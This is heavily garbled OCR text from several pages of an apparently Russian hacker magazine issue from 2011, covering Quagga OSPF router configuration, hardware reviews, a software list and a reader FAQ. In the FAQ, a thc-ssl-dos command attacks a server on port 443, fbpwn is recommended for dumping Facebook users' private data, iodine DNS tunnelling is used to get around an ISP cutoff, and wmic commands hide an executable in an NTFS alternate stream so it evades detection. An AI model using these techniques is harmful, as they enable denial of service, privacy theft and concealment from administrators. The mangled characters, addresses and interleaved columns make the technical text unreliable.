! активируем ospf для интерфейса и area е network 192.168.е.е/24 area е ! network 172.10 . 1е . е/ 16 area 1 log file /var/log/quagga/ospfd.log

определяем для

Terminal

нее

~а\111

telnet

или

vtysh . Второй

командный

режим считается более правильным и удобным:

$ sudo vtysh Символ приглашения командной строки должен измениться. Чтобы получить список доступных команд, нужно нажать клави­

шу со знаком вопроса или ввести

list.

Вид

П2МСК

!ерминал

.СПравка

~ ind r ind r - $ sudo vtysh Hello, this is Quagga (version 0.99.17). Copyright 1996-2005 Kunihiro Ishiguro, et al.

Остальные настройки произведем из консоли. Для подклю­

чения можно ·ис пользовать

DРавка

Начинаем настройки :

grinder# configure terminal grinder(config)# router ospf grinder(config -router)# ospf router-id 192.168.10.159 grinder(config-router)# redistribute connected grinder(config - router)# redistribute static grinder(config -router)# neighbor 192.168.10 .2 grinder(config-router)# neighbor 192.168.1 .254 grinder(config-router)# default-information originate grinder(config·router)# exit grinder(config)# end grinder# write memory Building Configuration .. . Integrated configuration saved to /etc/quagga/Quagga . conf [ОК]

# configure terminal

Настраиваем

OSPF

Приглашение изменит свой вид. Так как основные настройки С>*

для терминала уже произведены , укажем, что па роль должен

192.168.е.е /24

is directly connected. ethe

х раниться в зашифрованном виде, и сохраним изменения в Как видно, первая буква показывает протокол. Добавим

файле.

маршрут ко второму раутеру

(config)# service password-encryption (config)# exit смотрим

&

все

(config)# ip route

[IP -192 .168.1.21 :

1е.е.е.е;8 192.1р8.1.~

изменения

Однако статические маршруты нас не интересуют, поэтому

# show memory # write memory Integrated configuration saved to /etc/quagga/Quagga.conf

переходим к конфигурированию [ОК]

Интерфейс мы прописали

OSPF.

в конфиге, теперь осталось анонсировать остальные маршрути­ заторы .

Обрати внимание, что при использовании консоли все из­ менения сохраняются в отдельном файле, который можно легко

перенести на другой роутер или удалить для восстановления дефолтных настроек . Заглянув в Quagga.coпf, увидим, что внутри па роли хра нятся в зашифрованном виде. Команда

show staгtup­

(config)# router ospf ; уникальны~ ID роутера, IP исполt,зовандля . удоб<:тва (config-router)# ospf router-id 192.168.е.1 ; анонс маршрутов - подключенных и статических

coпfig покажет файл настройки. Смотрим таблицу маршрутов.

(config-router)# redistribute connected (config-router)# redistribute static ; анонсируем соседние раутеры (config-router)# neighbor 192.168.1.2 (config-router)# neighbor 192.168.2.2 (config-router)# default-information originate (config-router)# end # wri te file

# show ip route Co.des: К : kernel _route, С_ - connected, _S - static, R - RIP, О .с OS['F, I - ISIS, В - BGP, > - selected route, * - FIB route s е.е.е.е;е [1/е] via 192.168.1е.2, ethe К>* е.е.е.е;е via 192.168.1е.2, ethe С> * 127.е.е.е;8 i~ directly connected, lo К>* 169.254.е.е/16 is directly connected, ethe

Чтобы роутер анонсировал через себя маршрут по умолчанию

во внешние сети [то есть выход в интернетl, следует использо­ тerminal ~айп

.Qpaeltil

амn

Пs/МСК

Iерммкаn

8УJаД.КМ

вать команду default-iпfoгmatioп oгigiпate . Она нужна не во всех

tлравка

Тerminal

Х ) Terminal

х

конфигурациях, обычно используется

- s sudo cat /etc/quagga/Quagga. conf [sudo] password for grinder:

Настройка остальных маршрутизаторов производится анало­ гично, меняем только данные гouteг-id и neighboг.

service password · encryption

Теперь можно просмотреть статистику и отладочную инфу.

! password 8 5Qyp73wUp7 . 4А епаЫе password 8 nGJ2SeqZY602H !

# # # # #

interface ethe ipvб nd suppress ·га multicast interface lo

'

в.в.в.вtв 1В . е . е.В/8

192. 168 .18.2 192.168.18.2

'

show s_how show show show

ip ospf database ip ospf neighl::юr ip ospf database interface debugging ospf

ЗАКЛЮЧЕНИЕ

line vty iarinder@grinde:r - s

гoute, но здесь боль­

случаях следует установить и метрику.

hostname Router

;og file /var/log/quagga/zebra.log

ip route ip route !

static

ше возможностей по тонкому конфигурированию. В некоторых

grinde~grinder

1

_t"

Мы сделали элементарный и при этом рабочий пример. Дополни­ тельно можно указать маршруты, которые мы не хотим получать,

О""'" 1§ LA.::тenn ="':=~'-----ol Команда

ХАКЕР

write memory сохраняет настройки

~ ~

I1!C

Англ ~-- ifl

в отдельный файл

су6. 15 Окт, 15:18

ус тановить параметры доступа, задать разные способы анонси­

рования сетей и так далее. Все довольно просто- чтобы разо­ браться, достаточно немного поэкспериментировать. ::Х::

133

12/155/2011

www.epidemz.net


FERRUM

Сергей Плотников

QUADRATISCH. PRAКТISCH. GUT ТЕСТИРОВАНИЕ МАТЕРИНСКОЙ ПЛАТЫ

И если первое пагубно скажется в основном при использовании

GIGABYTE GA-H61N-USB3

SSO, то

столь малое количество

коннекторов накладывает куда больше ограни­ чений. Использовать твердотельный накопитель, конечно, здорово . Но в офисной и мулыимедий­

ной <<ма шинке >> это нецелесообразно. Другое

Материнские платы формфактора АТХ при своих размерах, а сле­

дело, что будущему НТРС может и не хватить

пары

довательно, и функционале, который в основном обеспечивается

поэтому для сборки подобного ПК

SATA 11,

лучше сразу обзавестись << винтом >> объемом

большим количеством разъемов, не всегда нужны техноманьяку.

Тб, благо

2-3

поддерживаеттакие винче­

Oual BIOS

стеры. Трушным же техноманьякам, которые пла­

Нередко во главе угла стоит миниатюрность и приходится искать

соответствующую плату. Существует формфактор Мiсго-АТХ, но и его

нируют использовать GIGABYТE

GA-H61 N-USB3

в качестве основы для сервера, без дискретного

бывает «мног о вато ». На п о м о щь в таких случаях могут прийти платы

RАID-контроллера не обойтись .

формфактора

советуем не иметь дела с габаритными процес­

Mini-ITX.

Однако они имеют свои особенности. Воз­

можно, тебя заинтересует объект нашего сегодняшнего тестирова­ ния- плата

В остальном претензий к плате нет. Правда, сорными кулерам и . Иначе система охлаждения

рискует закрыть как слоты

GIGABYTE GA-H61N-USB3.

ный

PCI

OIMM, так

и единствен­

Expгess х16. Для будущего десктопа лучше

приобрести небольшой тихий кулер, а в меню

BIOS [или же при помощи приложения Smart 61 несколько снизить напряжение <<к амня >>.

Логично, что <<мама>> платы с формфактором

Ну да ладно. Поддержка lпtel Saпdy Bгidge и

Miпi-ITX снабжена бюджетным чипсетом lпtel

наличие чипсета lпtel Н61 Expгess позволили рас­

Н61 Expгess . Во-первых, здесь не требует-

паять на плате парочку слотов

ся запредельная производительность. От

SATA 11

GIGABYТE

нам некоторые преимущества, но и выливается в

GA-H61 N-USB3

и других подобных

PCI

OIMM,

столько же

Expгess х16. Это не только дает

определенные недостатки. Сначала о хорошем.

плат глупо ожидать высокого разгонного по­

тенциала и, например, графических возмож­

ностей в виде нескольких слотов

и один

пространства наличие

PCI

всегда, использовали набор бенчмарков, кото­ рые определяют производительность подсисте­ мы процессар-память в числовом эквиваленте.

Так, Supeг

В условиях ограниченного текстолитового

PEG [о SLI и

Для тестирования материнских плат мы, как

Pi 1.5 XS

рассчитывал число пи с

точностью до миллиона знаков после запятой, а

Expгess х16- несо­

CгossFiгeX можно забыть!. В <<шестьдесят пер­

мненное благо. Не хочется называть этот порт

wPгime- с точностью до

вом>> все эти фишки блокируются . Так, плата

графическим, так как помимо видеокарты поль­

учитывая в процессе расчета все потоки про­

может рассчитывать на поддержку оператив­

зователь может установить в него дискретную

цессара lпtel Saпdy Bгidge . Утилиты

ной памяти стандарта

звуковую карту, внешний дисковый контроллер,

CINEBENCH

лишь до

1333

OOR3

с частотой всего

М Гц, и не мегагерцем выше!

Более высокие множители памяти отключе­

<<лимонов >> знаков,

WinRAR

и

осуществляли то, что они умеют луч­

Wi-Fi-кapтy или еще какое-нибудь периферийное

ше всего, то есть архивацию данных в режиме

устройство, но только одно. Таким образом, функ­

тестирования и рендери н г НО-изображения.

ционал GIGABYТE

ны, как и множители процессора. Наконец,

32

К сожалению, оказалось, что чипсет

GA-H61 N-USB3 существенно

lntel

Н61

увеличивается благодаря всего лишь одному

Expгess блокирует множители процессара и кон­

линий, но без возможности разделения попо­

слоту. Сразу напрашивается вывод о том, что на

троллера памяти, а сама архитектура <<песочного

лам . Для таких излишеств есть чипсеты

базе платы, помимо тривиального офисного ПК,

моста>> не позволяет варьировать частоту шины

контроллер

PCI

Expгess без проблем выдает

Р67 Expгess и lпtel

Z68

16

lntel

Expгess.

Сам же чип способен самостоятельно гене­ рировать до шести линий

PCI Expгess, до де­ USB 2.0 и до четырех SATA 11. Как поддержки USB 3.0 и SATA 3.0 нет.

реально собрать медиацентр, а при желании и

в широком диапазоне. Поэтому на этот раз мы

системку, способную справиться с более-менее

обошлись без разгона <<железа>> .

современными игровыми приложениями.

сяти портов

видишь,

О поддержке мулыимедийных возможностей

говорит само название платы. Так, на задней па не­

плата

заметно выде­

л и GIGABYТE

шиной комnании-производители разбираются

разместить все актуальные видеовыходы. Порт

ляется на фоне конкурентов . Хотя бы nотому, что

HOMI1 .4 примечателен

при всей своей бюджетнести девайс выполнен

сами, распаивая сторонние контроллеры, то

еще и тем, что поддержи­

GIGABYTE GA-H61 N-USB3

вает 30. А встроенная графика lпtel Saпdy Bгidge

поустаканившейся концепциитайваньской ком­

чипсета lпtel Н67 Expгess. Собственно говоря,

без проблем <<в ытягивает>> видео НО-качества. О

пании, то есть каждое устройство снабжено на­

в этом и заключается главное различие между

пользе большого числа USВ-портов [включая пару

бором технологий

наборами логики . Как следствие, <<мамки>>

USB 3.01, S/POIF и eSATA говорить излишне. Все

Ultгa ОuгаЫе

на базе lпtel Н61 Expгess не имеют встроен­

это очень пригодится будущему медиацентру .

и функциональность

SATA

ного

последней ревизии есть у плат на базе

GA-H61 N-USB3

производитель решил

В итоге констатируем тот факт, что материнская

И если с универсальной последовательной

RAIO'a.

lпtel выпускает два практически идентичных чипсета

...

Настораживают лишь SАТА-порты. Во­

Остается только гадать, зачем

первых, в данном случае используется не

SATA 3.0.

SATA 11,

3.

GIGABYTE

Supeг

4 и GIGABYTE

Следовательно, за надежность

GIGABYTE GA-H61 N-USB3

можно не беспокоиться в любом случае, неза­ а

Во-вторы х, таких портов всего два.

висимо от того, где она будет использоваться: в офисном ПК или НТРС. :х:

ХАКЕР

www.epidemz.net

12/155/2011


Quadratisch . Praktisch . Gut

ИНТЕРЕСНЫЙ ФАКТ Примечательно, что десктопные материнские платы

с формфактором Mini-ITX 1170 х 170 ммl не являются самыми миниатюрными . Существуют также решения

на базе формфактора Nano-ITX 1120 х 120 ммl и PicoITX 1100 х 72 ммl. Как видишь, материнская nлата GIGABYТE GA-H61 N-USBЗ не такая уж и крохотная.

ХАКЕР

Сокет: LGA 1155 Чипсет: lntel Н 61 Express nамять : DDR3, 800-1333 М Гц Слотьо расширения: 1х PCI Express х16 Дисковьое контроллеры: 2х SATA 11

Сеть :

Ethernet, 10/100/1000 М бит/с 7.1 СН, HDA, на основе Realtek ALC889 Разъемьо на задней панели: 1х OVI, 1х 0-Sub, 1х HDM I, 2х USB 3.0, 4х USB 2.0, 1х eSATA, 2х S/PDIF, 1х RJ-45, 3х аудио Формфактор : Mini-ITX, 171 х 171 мм

Аудио:

nроцессор:

lntel Саге i5-2400, 3,1

Г Гц

Super Pi 1.5 XS 1m: 12,276 с wPrime 1.55 32m: 10,86 с

Материнская плата:

CINEBENCH 11.5: 4,12 pts

GIGABYTE GA-H61N-USВЗ Оnеративная память: Kingston KVR106603N7K2/2G, 2х 1 Гб SSD: Corsair Force F120, 120 Гб Блок питания: HIPER ТУРЕ К1000, 1000 Вт ОС: Windows 7 Максимальная

WinRAR: 2987 Кб/с

135

12/155/2011

www.epidemz.net


FERRUM

Даниил Либар ц

v

МАЛЕНЬКИ И, ДА УДАЛЕНЬКИИ ОБЗОР КОМПАКТНОЙ КОЛОНКИ

EDIFIER

МР250

Комnания Edifieг, сnециализирующаяся на ком­ nьютерной акустике, в nоследнее время активно создает новые и интересные nродукты. Не так давно комn ания выnустила на рынок очередную новинку: nортативную акустическую систему

Edifieг МР250 для ноутбуков . Не секрет, что звук у лэnтоnов, как правило, посредственный . А потому улучшит ь эту ситуацию- дело благо­ родное!

Вы х одная мощность :

RMS 2х 2 Вт

Отношение сигнал/шум : 75 дБ СЧ- и ВЧ -дина м ики : 4х 1,25 дюйма НЧ - дина м и к: овальный, 3х 1,25 дюйма Разъемы: USB, 3,5 мм jack Пит а ние: USB, аккумулятор отсутствует Раз меры: 261 х 36 х 44 мм М а сса : 0,33 кг

Edifieг МР250 поста вляется в небольшой, но увесистой ко р обке. Отк ры в ее, м ы увидим мато­

ключается к лэптопу через USВ- п орт. Комnьютер

Глав н ое для таких устройств - n ревосходить

во nоблескивающий алюминиевый корпус. Как

определяет ее как внешнюю звуковую карту. Пи­

встроенные динамики ноутбука по качеству зву­

ни странно, многие уверены, что такое испол­

тание осуществляется через тот же

чания. А с этой задачей Edifieг МР250 сnравляет­

нение характерно в основном для <<яблочных>>

также имеет обычный линейный вход

устройств, как будто больше ни одна комnания

подключения других источников звука. Жаль,

намного nриятнее - голос не сливается с

в мире не испо л ьзует матовый алюминий для

что nроизводитель не nредусмотрел аккуму­

эффектами и звучит четко, nл от но и объемно.

USB. Система 3,5 мм для

ся на ура. Смотреть фильмы с этим устройством

ко р пусо в своих изд елий. E dif i eг М Р 250 в ыгля д ит

л ятора, так как nри исnользовании сторон н их

Сами эффекты [как в фильмах, так и в играх)

очень стильно и в то же время достаточно ней­

ауд иоустройств nри д ется искать свободный

также восnроизводятся на удивление хорошо.

трально , чтобы хорошо смотреться практически

чтобы за nитать колонку.

рядом с любым ноутбуком .

Отдельного внимания заслуживает тот факт,

Колонка укомплектована кабелем с разъемами

jack

USB

и miпi-USB, кабелем

USB,

jack-to-

и велюровым чехлом дл я т рансnортиро в ки.

Edifieг МР250 имеет большую максимальную

громкость и без nроблем заnолняет звуком

что для регулирования громкости служит всего

большую комнату . В целом мы можем сказать,

одна кноnка, расnоложенная на левом торце

что система звучит весьма недурно для таких

устройства. Для nлавного умень ш ения громко­

размеров .

Устройством очень удобно пользоваться . Кор п ус

сти следует удерживать эту кно n ку, для nлавного

колонки имеет клино в идную форму, nоэтому

увеличения- nоследовательно нажимать, nока

nри установке между клавиатурой и дисплеем

не будет достигнут требуемый уровень гром­

колонка совершенно не закрывает обзор . Пожа­

кости. Не очень nонятно только, как nри этом

качеством звучания динамиков в своем ноутбу­

луй, у Edifieг МР250 есть только один существен­

резко убрать звук. На наш взгляд, оnтималь­

ке, рекомендуем обязательно nрисмотреться к

ный нед остаток: отсутствие приспособлений для

ным регулятором громкости было бы обычное

Edifieг М Р 250 . П ревосходст в о этой системы, на

крепле н ия на крышке лэ пт оnа.

<<колесико>> .

наш взгля д, о ч евид но . К тому же она небольшая,

ты по каким-либо nричи н ам недоволен

легкая и удобная - что еще требуется от ком­ nактной акустики? А дизайн, качество звучания

Система Edifieг МР250 специально разработана

Не секрет, что системы этого класса не обладают

и демократичная цена этого устройства с лихвой

на замену штатной акустике. Edifieг МР250 под-

выдающимися акустическими характеристиками.

комnенсируют отсутствие аккумулятора . :и:

ХАКЕР

136

www.epidemz.net

12/155/2011


>Securit~

NFReader 1.4. 1 QQ}'sseus 2.0.0.84 ooVoo 3.0.4 RevoluТV 2.5

NetSeeedMonitoг

Echo Mirage 1.2 Feed Notifier 2.5 FVD Suite 2.6.8 Google.mE 1.50 inSSIDeг 2.0. 7 MetroTwit

.fu~1

1.2

2.5.4.0

Рlауег

Device Doctor 2.0

Colasoft Packet

>Net BenderConverter

AIMP 3.00 Beta 5 DeeeBurner 1.9 DieTгace 2.2 Eveгnote 4.5. 1 Foxit Readeг 5.1 GeeTeeDee 0.1.274 GIMPshoe 2.2.8 Gгeenshot 0.8. 1 lгfanView 4.30 PicPick 3.0.9 Viгtual DJ 7.0.5 Virtual Piano 4.0 WoгldWide Т elescoee 3.0.5.1 Xbmc 10.1 XnConveгt 1.1 О

>Multimedia

YoWindow 2.0

Windows Themes lnstaller 1.1

Disk Seace Fan

FilerFгog 2.0 FluentNoteead Q10 1.2.21 RandomScreensaver 2.0.1 Sc~be 1.6.4 TaskDock Wheel Here 1.4.2

Dojo 1.6.1 Fltk 3.0.x-r9155 F df 1.7 Glade 3.1 0.2 Gwt 2.4.0

>Devel

Luckybackue 0.4.6 Midnight commander 4.8.0 Peazie 4.1 Picasa 3.0 Postr 0.12.4 Seahorse 2.28.1 Soundkonverter 1.2.0 Sox 14.3.2 Xneuг 0.14.0 Zim 0.53

Kmelayeг 0.11.3а

Qlgikam 2.2.0 Ovdstyleг 2.0 Gcad3d 1.70 lnscaee 0.48.2

DaгktaЫe О. 9.2

Blendeг 2.60а

Audacity 1.3.1 3-beta

»UNIX >Desktoe

WindowMenuPius 1.14

НО

Dгive

Backue 0.0604 Seeed 1.7.1.90 IObit Тoolbox 1.2 LockNote 1.0.5 MenuMaid 1.0.1 MonitoгES 1.0.1 Nirlauncher QRM Plus Manageг 1.0 RecycleBinEx 1.0.5.530 Soluto Switcher 2.0.0 SystemMonitoг 1.64 WinBubЬie 2.0

Chameleon Shutdown 1.1.1.30

F.lux

-

Aeache 2.2.21 Asterisk 1.6.2.20

>Server

PacketFence 3.0.2 Watcher 1.5.4 WiFuzz ~QLScanne r 1.2

Ostinato v0.5

Hatkit Proxy 0.5.1 LOehtCrack v6.0.12c

hash-identifier 1.1

Snaгe 2.0.0 ARMu 0.17Ь DOM Snitch v0.725 ExaScan Exeloit Pack findmyhash 1.1.2

Slackfiгe 0.65.е

-

Slce 6.1 Ubuntu 11.1 О

Clamav 0.97.3 Ctunnel 0.6 Gnutls 3.0.5 Nikto 2.1.4 Рас 3.3.5 Passwordsafe 0.6.0beta Pdfcrack 0.11 Saferhoneyeot 20111027

Tunatic 1.1 uTorrent 1.5.11 VirtuaiBox 4.1.4

т eamViewer6.0.Т0548

~eed

KeyCue 6.0 Letterbox 0.24Ь9 Web Server 4.1. 7 Qeera 11.52 05 Track Palringo 4.0.1 Punto Switcheг 3.2.5 Que 1.3.1 Raven 0.6

lmageBurner 2.0

OxED 1.0.9 Bean 2.9.7 Q@g.<>_nDisk 0.92 Eddie 2.1 Fiгefox 8.0

»НАС

5.42

16 Deskto

~5.3

>Security

Fedoгa

>X-distr

Sguashfs 4.2 Sysstat 10.0.2 Т estdisk 6.12

Smaгtmontools

RoЬinhooill2

2clickuedate 6.0 Ajenti 0.6.0 Bluez 4.96 Checkinstall 1.6.2 Collectl 3.6.0 C~etmount 4.2.1 Fslint 2.42 Gгub 1.99 Kml 3.1 001 Nilfs-utils 2.1.0-гс2

>System

Amule 2.3.1 гс2 Barefte 0.3.9 Bitlbee 3.0.3 Blam 1.8.7 Chrome 13.0.782 Dгivel 3.0.3 Fatгat 1.1.3 Gnugk 2.3.5 lfoldeг 3.8.0.3 Оеега 11.52 Peerguardian 2. 1.3 QЬittorrent 2.9.2 Qwit 1.1-еге 2 Remmina 0.9.3 Skyee 2.2.0.35 Smb4k 0.10.90 Syleheed 3.1.2 Uget 1.8.0

>System

Dro~resize

~~3.3.1

VsftQd 2.3.4

>Net

Simutгans

-

Dhce 4.2.3 Dovecot 2.0. 15 Freeгadius 2.1. 12 Lightted 1.4.29 Minidlna 1.0.22 Mysql 5.5. 17 Nsd 3.2.8 Deenldae 2.4.26 Deenven 2.2.1 Postfix 2.8.6 Postgresql9.1.1 Samba 3.6.1 Sendmail 8.14.5 Snoгt 2.9.1.2 Sguid 3.1.16

Sglmae 0.9 SQLNinja 0.2.6

AltDгag

--

0.38.64 20100728 110.0.1

Saueгbгaten

Rigsofгods

>Games

Movicon 1.ОЬ Poedit 1.4.6. 1 Scintilla 2.29 Symlony 2.0.4 Tcedf 5.9.134 Ultimateee 3211 Wxwidgets 2.9.2

~lotlib1.1.0

Libsdl-andгo id

Lazaгus 0.9.30.2гс2

Jfгeechaгt 1.0. 17 Jgue~ui 1.8.16 Juce 1.53

SQLBгute

Sgl-lnjection: MySqloit 0.1 SQID 0.3 SQL Роwег lnject oг 1.2 SgiЫtools 1.2

Все ~я

AQQAdmin 1.1 .О BeEF 0.4.2. 10 Fгее File Wieeг 0.7d Fгеегаsег 1.0.0.23 Secret Disk 1.35 Т elemachus 1.О Тог 0.2.2.34 USB Рог! Locked 2.0 Volatility 2.0 Winlockr WieeFile 2.1.1

0.9 Collagelt Desk Drive 1.8.2 DeskView

>Misc

Раггоt 3.9.0 Scaey 2.2.0 SQLiteStudio 2.0.19 VisuaiSVN Serveг 2.5 WebStoгm 3.0 WinAeeDbg 1.4

jQue!]Pad

lmmunity Debugger 1.83

»WINDOWS

www.epidemz.net

NАТ 'о м

nровiliiдерыкорм.пнilс

Kilкnepeiilтмнii1Pv6,noкa

.


UNITS/ FAQ UNITED

«ant» Жуков

Антон

FAQ United

ЕСТЬ ВОПРОСЫ- ПРИСЫЛАЙ НА

r,1

FAQriREAL.XAKEP.RU

ЗАИНТЕРЕСОВАЛСЯ ТЕМОЙ

. . . РЕВЕРСИНГА МАЛВАРИ ПОД ANDROID, О КОТОРОЙ ВЫ РАССКА­

lr.8 W

Надо пони мать, что дело может быть не

дения. Как только жертва подтверждает

только в количестве бота в, которые

заnрос, приложение быстренько дампит всю

учас твуют в бот-атаке, но и в качественной

личную информацию, фотографии и сnисок

ЗЫВАЛИ В ПРОШЛОМ НОМЕРЕ . ЕСТЬ

состав ляющей , а именно- в методе, который

друзей из nрофиля в локальную паnку. Даже

ЛИ ЕЩЕ КАКИЕ-ТО ИНСТРУМЕНТЫ,

используется злоумы шленниками, чтобы

если человек nоймет, что добавил в друзья

КОТОРЫЕ БУДУТ ОСОБЕННО ПОЛЕЗНЫ

завалить сервер.

какого-то левого пользователя, и быстро

Вот теб е nри мер. Не так давно немецкая

ДЛЯ ИССЛЕДОВАТЕЛЯ?

хакерекая груnпа

<<The

Hack eг's

Choice>> вы­ для DDoS, экс­

Малвари под мобильные платформы

пустила релиз инструмента

становится все больше и больше, что

nлуатир ующий уязвимость в SSL-npoтoкoлe.

исnравит ошибку, дамn с его данными уже будет снят.

r.1

ПО ОКОНЧАНИИ П_РЕДОПЛАЧЕННОГО

влечет за собой появление нового софта для

Принц иn

исследования зтой заразы.

для установки безоnасного SSL-соединения

. . . ПЕРИОДА ПРОВАИДЕР ОТРУБАЕТ ИНТЕРНЕТ, НО ДОСТУП К DNS-CEPBEPAM

серверу необходимо в

ОСТАЕТСЯ. ВОЗМОЖНО ЛИ

Удобно иметь под р укой что-то вроде лабо­

ратории, в которой было бы все необходимое

thc-ss l-dos

основывается на том, что

15

раз больше процес­

ИСПОЛЬЗОВАТЬ

сорной мощности, чем клиенту. Данная проблема затрагивает все су ще­

для исследования. И такая лаборатория есть- парни из

ствующие реализации

зили

разработчики знали о данн ой проблеме аж с

Honeynet Pгoject зарели­ A.R.E [Andгoid Reveгse Engineeгingl и

SSL . Как

DNS-CEPBEPA ДЛЯ

ВЫХОДА В СЕТЬ?

ни странно, Конечноl О DNS-туннелинге мы nисали

года! Сейчас же столь мощный инстру­

не раз. Различные вариации этого

выnустили сnециальный образ виртуальной

2003

машины для реверсингаnод Andгoid.

мент достуnен в nаблике и может быть заnу­

nодхода nредоставляют одно и то же- nере­

Н а данный момент в нее входят

щен любым желающим одной-единственной

дачу nроизвольног а трафика поверх

командой:

протокола. С nомощью такого туннеля можно

следующие инструменты: Andгoguaгd,

Andгoid

Axmlpгinteг,

sdk/ndk, APKinspectoг, Apktool, Ded , Dex2jaг, DгoidBox, Jad , Smali/Baksmali- воистину настоящий

$ ./thc-ssl-dos

джентльменский набор.

r.1

Более nодробно ознакомиться с

A.R .E

DNS-

nолучить nолн оценный достуn к Интернету из <IР-адрес

сервера~

__443

точки, где разрешено преобразование DNS-имен. Единственный момент: для

организации туннеля необходимо, чтобы

МОЖНО ЛИ КАК-ТО ПОЛУЧИТЬ

. . . ДОСТУП К АЛЬБОМАМ И ЛИЧНОЙ

<<снаружи>> его кто-то nринимал. Если

можно на официальном сайте- гedmine.

ИНФОРМАЦИИ ПОЛЬЗОВАТЕЛЯ НА

говорить о конкретной реализации

hon е у net. о гg/рго j ее t s/a ге/w iki.

FACEBOOK?

туннелинга, то неnлохо работает iodine ic ode. kгyo.se/iod i ne l.

r.1

СТРОЯ ДАЖЕ ПОПУЛЯРНЫЕ ВЕБ­

Где-то в Инете нужно nоднять сервер

Есть такая хоро шая nрограммка­

НЕ МОГУ ПОНЯТЬ, НЕУЖЕЛИ

. . . ТАК ПРОСТО ВЫВЕСТИ ИЗ

fbpwn [code .goog le.com/p/fbpwnl. Она

iodined :

занимается тем, что отсылает заданному

РЕСУРСЫ, КОТОРЫЕ ЗАБОТЯТСЯ О

сnиску людей заnросы на добавление в

$ iodined -f -m _22e -1 1 .2.3 .4

HIGHLOAD?

друзья, а nосле зтого ждет от них nодтверж-

192.168.0 . 1 ns.abc.ru

5 ШАГОВ:

Е

СОБИРАЕМ ЛОГИ С

сть задача- собирать лаги с моих

Windows - cepвepoв в одном месте так , чтобы их можно было удобно

DNS-

WINDOWS-CEPBEPOB

1

123

В ОДНОМ МЕСТЕ

Есть сразу нескольк о о нлайн­ сервисов, которые nредлагают

собирать лаги с твоих серверов и

2

В Windows нативно нет nоддержки syslog. Поэтому чтобы восnользовать­ ся сервисом, нам nредстоить решить

анализировать. Необходима возможность

оформлять для тебя классные отчеты. Один из

небольшую задачу. Либо найти надстройку,

строить графики, осуществлять nоиск, делать

наиболее нашумевших- сервис Loggly [J.Qg_gjy,_ com l. Сбор логов им осуществляется двумя nутями: через механизм syslog/syslog-ng или через API.

nозволяющую исnользовать зтот стандарт для

выборки. Идеальный вариант, если лаги будут собираться веб-сервисом и будут доступны онлай н .

nередачи логов, либо же наnисать обертку, которая будет извлекать системные события и

через

API

отnравлять

loggly.

ХАКЕР

www.epidemz.net

12/155/2011


FAQ UNITED

Здесь:

• •

f -флаг, чтобы не уходить в фоновый режим; m mtu- использование па кетов с заданным MTU [некоторые брандмауэры режут слиш­

1 IР-прослушиваниетолько на указанном IP, а не на всех [может пригодиться, когда на машине у~е работает DNS-cepвep, только на

БОЛЬШОЙ ВОПРОС

ком большие DNS-пакеты];

Q

ЕСТЬ ЛИ КАКИЕ-НИБУДЬ

t:\temp>dir jr C:\temp Directory of C:\temp

ПРОДВИНУТЫЕСПОСОБЫ ИСПОЛЬЗОВАТЬ АЛЬТЕРНА­

других интерфейсах];

ТИВНЫЕ ПОТОКИ

Р- парольдля подключения.

СПРЯТАТЬ ДАННЫЕ ТАК, ЧТОБЫ ИХ

NTFS? ХОТЕЛОСЬ

БЫ

5 NUL 1 File(s)

НЕЛЬЗЯ БЫЛО НАЙТИ ХОТЯ БЫ СТАН­ брандмауэр, запускаем клиентскую часть­

РАБОТЫ С

ADS.

C:\temp>streams C:\temp Streams v1.56 - Enumerate alternate (С) 1999-2ее7 Mark Russinovich NTFS data streams No files with streams found.

iodiпe:

$

iodiпe -Р

5 bytes

ДАРТНЫМИ ИНСТРУМЕНТАМИ ДЛЯ

Далее внутри локалки, где бесчинствует

А

123 ns.abc.ru

Открыл для себя недавно интересный ха к и спешу им nоделиться. Когда ты создаешь

альтернативный поток и цепляешь его к

Лучше по возможности использовать короткие имена, поскольку это сокращает

файлу, использующем у в качестве названия

Вывод команд говорит сам за себя. Есть еще

накладные расходы на передачу трафика,

какое -то зарезервированное имя

один интересный момент. Если спрятанный

СОМ1 ,

[CON,

и т.д.l, то

инкапсулированного внутрь DNS-пакетов.

PRN, AUX, NUL,

Чрезмерно возросший DNS-трафик, правда,

данные внутри этого п о т о ка с тановится

все равно может привлечь внимание админа.

невидимыми для команды « d i г / R» и даже

LPT1

файл является исполняемым , то его можно запустить через ме ханизм

утилиты stгeams.exe от Мар к а Р ус синовича.

r.t

~

ИЗ ЛОГОВ ПОНЯЛ, ЧТО БОЛЬШОЕ

Правда , до тех пор , по к а ты не б удешь

КОЛИЧЕСТВО ТРАФИКА НА МОЕМ

использовать <<\\?\» в п ути к фа й л у. Итак,

СЕРВЕРЕ- ЭТО ПЕРЕДАЧА

создаем файл в

ADS:

ИЗОБРАЖЕНИЙ, КОТОРЫЕ НА САМОМ ДЕЛЕ ОТОБРАЖАЮТСЯ НА ДРУГИХ

C:\temp>type C:\Windows \ System32\ cmd.exe > \\?\C:\temp\NUL:hidden_ ADS.exe

САЙТАХ.Т.Е.ВЕБ-МАСТЕРЫПРОСТО УСТАНОВИЛИ НА НИХ ПРЯМЫЕ Л ИНКИ.

C:\temp >wmic process call create \\?\C : \temp\NUL:hidden_ADS.exe Executing (Win32_Process)->Create() Method execution successful. Out Parameters: instance of __ PARAМETERS Processid = _ 162е; ReturnValue = е;

ЕСТЬ ЛИ СПОСОБ ПРЕПЯТСТВОВАТЬ

ТАКОЙ ПРАКТИКЕ?

-:w

181

А теперь попробуем ег о на й ти:

WMIC:

};

Да, зачастую вебмастеры ставят

прямые ссылки на изображения и

прочие файлы, чтобы снизить нагрузку на

собственный сервер. Отучить их от такой привычки достаточно просто с помощью этого

снифера:

<FilesMatch "\.(gif(jpe?g)$"> SetEnvif Referer "лhttp:// ((л/]*\.)?mydomaiп.com/" request_ok Order Allow, Deny Allow from env=request_ok </FilesMa:tch>

1

В данном примере запрещается доступ

ко всем изображениям

[GIF и JPGI для всех

запросов, которые пришли со сторонних до­

менов [mydomain.coml. Чтобы все заработало,

3

Тема альтернативных дисковых nотоков изъезжена вдоль и поnерек, но до сих пор nоявляются некоторые интересные хаки, которые зачастую оказываются полезными на nрактике.

После недолгих поисков быстро нахо­

Еще один вариант отправить логи с

дится NTsyslog ( tгoy. jdmz.net/sys l ogw i п l

Windows-мaшин- воспользоваться

-

проектом Snaгe ( www. i пteгsectall i ance.

программа, которая запускается как

сервис, оформляет системные события

Windows

com l. Он предлагает коммерческое решение

в

Использовать онлайн-сервисы вроде

Loggly

может оказаться дорого . Но

можно поднять подобный сервис само­

му. Gгaylog2 [ gгaylog2.oгg l который собирает все

для ' агрегации логов и бесплатные агенты для

sуslоg-сообщения в БД, после чего предостав ­

